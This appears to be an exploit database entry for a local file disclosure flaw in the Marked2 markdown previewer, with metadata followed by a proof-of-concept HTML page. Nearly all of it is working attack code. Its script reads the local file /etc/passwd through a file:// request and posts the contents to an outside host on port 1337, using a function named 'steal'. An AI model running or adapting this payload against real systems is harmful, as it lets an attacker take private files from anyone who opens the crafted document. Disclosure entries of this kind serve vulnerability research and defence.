Marked2 - Local File Disclosure

Author: Corben Leo
type: local
platform: multiple
port: 
date_added: 2018-02-08 
date_updated: 2018-02-08 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url:

<body>
<script>
var file = "file:///etc/passwd";
var extract = "http://dev.example.com:1337/";
function get(url) {
 var xmlHttp = new XMLHttpRequest();
 xmlHttp.open("GET", url, false);
 xmlHttp.send(null);
 return xmlHttp.responseText;
}
function steal(data) {
 var xhr = new XMLHttpRequest();
 xhr.open('POST', extract, true);
 xhr.onload = function() {};
 xhr.send(data);
}
var cdl = get(file);
steal(cdl);
</script>
</body>